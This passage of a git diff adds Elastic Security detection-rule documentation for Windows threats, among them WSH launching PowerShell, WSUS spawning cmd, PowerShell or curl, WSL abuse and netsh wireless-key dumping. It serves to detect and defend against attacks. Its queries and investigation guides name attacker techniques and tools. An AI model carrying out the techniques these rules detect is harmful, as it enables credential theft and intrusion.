points, ensuring that any malicious changes are reversed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar suspicious activities, focusing on process creation and command-line parameters related to Windows Sandbox configurations. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("wsb.exe", "WindowsSandboxClient.exe") and + process.command_line : ("*Enable*", + "*C:\\*false*", + "**", + "*true*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Run Virtual Instance +** ID: T1564.006 +** Reference URL: https://attack.mitre.org/techniques/T1564/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-script-executing-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-script-executing-powershell.asciidoc new file mode 100644 index 0000000000..ffbb08d725 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-script-executing-powershell.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-21-windows-script-executing-powershell]] +=== Windows Script Executing PowerShell + +Identifies a PowerShell process launched by either cscript.exe or wscript.exe. Observing Windows scripting processes executing a PowerShell script, may be indicative of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/operation-bleeding-bear + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Script Executing PowerShell* + + +The Windows Script Host (WSH) is an Windows automation technology, which is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. + +Attackers commonly use WSH scripts as their initial access method, acting like droppers for second stage payloads, but can also use them to download tools and utilities needed to accomplish their goals. + +This rule looks for the spawn of the `powershell.exe` process with `cscript.exe` or `wscript.exe` as its parent process. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate commands executed by the spawned PowerShell process. +- If unsigned files are found on the process tree, retrieve them and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Determine how the script file was delivered (email attachment, dropped by other processes, etc.). +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- The usage of these script engines by regular users is unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("cscript.exe", "wscript.exe") and process.name : "powershell.exe" and + not ( + process.parent.name : "wscript.exe" and + process.parent.args : "?:\\ProgramData\\intune-drive-mapping-generator\\IntuneDriveMapping-VBSHelper.vbs" and + process.parent.args : "?:\\ProgramData\\intune-drive-mapping-generator\\DriveMapping.ps1" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-script-execution-from-archive.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-script-execution-from-archive.asciidoc new file mode 100644 index 0000000000..59065b91c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-script-execution-from-archive.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-windows-script-execution-from-archive]] +=== Windows Script Execution from Archive + +Identifies attempts to execute Jscript/Vbscript files from an archive file. The use of archives is a common delivery method of malicious scripts. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/walmartglobaltech/smartapesg-4605157a5b80 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Script Execution from Archive* + + +Windows scripts, often used for legitimate automation tasks, can be exploited by adversaries to execute malicious code. Attackers may download scripts via browsers or file utilities, then execute them using scripting tools like wscript or mshta. The detection rule identifies such threats by monitoring script creation from internet sources and subsequent execution, focusing on unusual parent-child process relationships and script attributes. + + +*Possible investigation steps* + + +- Review the file creation event to identify the specific script file that was downloaded, noting its name, path, and extension to understand the potential threat. +- Examine the origin URL or referrer URL of the downloaded script to determine the source and assess its legitimacy or potential malicious intent. +- Investigate the parent process, such as chrome.exe or explorer.exe, to understand how the script was downloaded and whether it aligns with typical user behavior. +- Analyze the execution event of the scripting utility (wscript.exe or mshta.exe) to identify the command-line arguments used, which may provide insight into the script's intended actions. +- Check the user account associated with the script execution to determine if the activity is expected for that user or if it indicates a compromised account. +- Correlate the timing of the script creation and execution events to see if they fall within a suspicious timeframe, such as outside of normal working hours. +- Look for any additional related alerts or logs on the host that might indicate further malicious activity or lateral movement following the script execution. + + +*False positive analysis* + + +- Legitimate script automation tools may trigger this rule if they download and execute scripts from the internet. Users can create exceptions for known safe tools by excluding specific file paths or process names. +- Software updates or installations that download scripts as part of their process might be flagged. To handle this, users can whitelist specific origin URLs or referrer URLs associated with trusted software vendors. +- Internal scripts distributed via corporate intranet sites could be misidentified as threats. Users should consider excluding scripts with known internal origin URLs or specific user IDs associated with IT operations. +- Browser extensions or plugins that automate tasks using scripts may cause false positives. Users can exclude these by identifying and excluding the specific browser process names or file extensions involved. +- Frequent use of file utilities like winrar or 7zFM for legitimate script handling can be excluded by specifying trusted file paths or user IDs that regularly perform these actions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement. +- Terminate any suspicious processes identified in the alert, such as wscript.exe or mshta.exe, to stop the execution of the downloaded script. +- Quarantine the downloaded script file and any associated files to prevent further execution and facilitate forensic analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze the origin URL and referrer URL of the downloaded script to identify potential malicious websites or compromised sources, and block these URLs at the network level. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to restrict the execution of unauthorized scripts and scripting utilities, reducing the risk of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "wscript.exe" and + process.parent.name : ("explorer.exe", "winrar.exe", "7zFM.exe") and + process.args : + ("?:\\Users\\*\\AppData\\Local\\Temp\\7z*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\*.zip.*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\BNZ.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-server-update-service-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-server-update-service-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..018671e7e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-server-update-service-spawning-suspicious-processes.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-windows-server-update-service-spawning-suspicious-processes]] +=== Windows Server Update Service Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287 +* https://hawktrace.com/blog/CVE-2025-59287 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Server Update Service Spawning Suspicious Processes* + + + +*Possible investigation steps* + + +- Examine the child process details, focusing on the process names and original file names such as cmd.exe, powershell.exe, pwsh.exe, and powershell_ise.exe, to identify any unauthorized or unexpected command-line activity. +- Investigate the timeline of events leading up to the alert, including any preceding or subsequent processes, to understand the context and potential impact of the suspicious activity. +- Check for any associated network activity or connections initiated by the suspicious processes to identify potential data exfiltration or communication with external command and control servers. +- Review recent changes or access logs on the affected server to identify any unauthorized access attempts or modifications that could indicate exploitation or the presence of a web shell. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and corroborate findings. +- Assess the risk and impact of the detected activity, considering the severity and risk score, and determine appropriate response actions, such as isolating the affected system or conducting a deeper forensic analysis. + + +*False positive analysis* + + +- This behavior is rare and should be treated with high suspicion. + + +*Response and remediation* + + +- Immediately isolate the affected Server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as being spawned by w3wp.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of the server's application pools and web directories to identify and remove any unauthorized web shells or scripts. +- Restore the server from a known good backup taken before the suspicious activity was detected to ensure system integrity. +- Apply the latest security patches and updates to the Server to mitigate known vulnerabilities and prevent exploitation. +- Monitor network traffic and server logs for any signs of continued or attempted exploitation, focusing on unusual outbound connections or repeated access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "rundll32.exe", "curl.exe") and + ( + (process.parent.name : "w3wp.exe" and process.parent.args : "WsusPool") or + process.parent.name : "WsusService.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-subsystem-for-linux-distribution-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-subsystem-for-linux-distribution-installed.asciidoc new file mode 100644 index 0000000000..a146a39bf8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-subsystem-for-linux-distribution-installed.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-windows-subsystem-for-linux-distribution-installed]] +=== Windows Subsystem for Linux Distribution Installed + +Detects changes to the registry that indicates the install of a new Windows Subsystem for Linux distribution by name. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Subsystem for Linux Distribution Installed* + + +The Windows Subsystem for Linux (WSL) lets developers install a Linux distribution (such as Ubuntu, OpenSUSE, Kali, Debian, Arch Linux, etc) and use Linux applications, utilities, and Bash command-line tools directly on Windows, unmodified, without the overhead of a traditional virtual machine or dualboot setup. Attackers may abuse WSL to avoid security protections on a Windows host and perform a wide range of attacks. + +This rule identifies the installation of a new Windows Subsystem for Linux distribution via registry events. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine which distribution was installed. Some distributions such as Kali Linux can facilitate the compromise of the environment. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate that the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and the WSL distribution is homologated and approved in the environment. + + +*Related Rules* + + +- Host Files System Changes via Windows Subsystem for Linux - e88d1fe9-b2f4-48d4-bace-a026dc745d4b +- Execution via Windows Subsystem for Linux - db7dbad5-08d2-4d25-b9b1-d3a1e4a15efd +- Suspicious Execution via Windows Subsystem for Linux - 3e0eeb75-16e8-4f2f-9826-62461ca128b7 +- Windows Subsystem for Linux Enabled via Dism Utility - e2e0537d-7d8f-4910-a11d-559bcf61295a + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "PackageFamilyName" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\*\\PackageFamilyName" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc new file mode 100644 index 0000000000..511e939ba2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-windows-subsystem-for-linux-enabled-via-dism-utility]] +=== Windows Subsystem for Linux Enabled via Dism Utility + +Detects attempts to enable the Windows Subsystem for Linux using Microsoft Dism utility. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.f-secure.com/hunting-for-windows-subsystem-for-linux/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Subsystem for Linux Enabled via Dism Utility* + + +The Windows Subsystem for Linux (WSL) lets developers install a Linux distribution (such as Ubuntu, OpenSUSE, Kali, Debian, Arch Linux, etc) and use Linux applications, utilities, and Bash command-line tools directly on Windows, unmodified, without the overhead of a traditional virtual machine or dualboot setup. Attackers may abuse WSL to avoid security protections on a Windows host and perform a wide range of attacks. + +This rule identifies attempts to enable WSL using the Dism utility. It monitors for the execution of Dism and checks if the command line contains the string "Microsoft-Windows-Subsystem-Linux". + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and WSL is homologated and approved in the environment. + + +*Related Rules* + + +- Execution via Windows Subsystem for Linux - db7dbad5-08d2-4d25-b9b1-d3a1e4a15efd +- Suspicious Execution via Windows Subsystem for Linux - 3e0eeb75-16e8-4f2f-9826-62461ca128b7 +- Host Files System Changes via Windows Subsystem for Linux - e88d1fe9-b2f4-48d4-bace-a026dc745d4b +- Windows Subsystem for Linux Distribution Installed - a1699af0-8e1e-4ed0-8ec1-89783538a061 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and + (process.name : "Dism.exe" or ?process.pe.original_file_name == "DISM.EXE") and + process.command_line : "*Microsoft-Windows-Subsystem-Linux*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wireless-credential-dumping-using-netsh-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wireless-credential-dumping-using-netsh-command.asciidoc new file mode 100644 index 0000000000..95eca36ba5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wireless-credential-dumping-using-netsh-command.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-wireless-credential-dumping-using-netsh-command]] +=== Wireless Credential Dumping using Netsh Command + +Identifies attempts to dump Wireless saved access keys in clear text using the Windows built-in utility Netsh. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts +* https://www.geeksforgeeks.org/how-to-find-the-wi-fi-password-using-cmd-in-windows/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Wireless Credential Dumping using Netsh Command* + + +Netsh is a Windows command line tool used for network configuration and troubleshooting. It enables the management of network settings and adapters, wireless network profiles, and other network-related tasks. + +This rule looks for patterns used to dump credentials from wireless network profiles using Netsh, which can enable attackers to bring their own devices to the network. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the 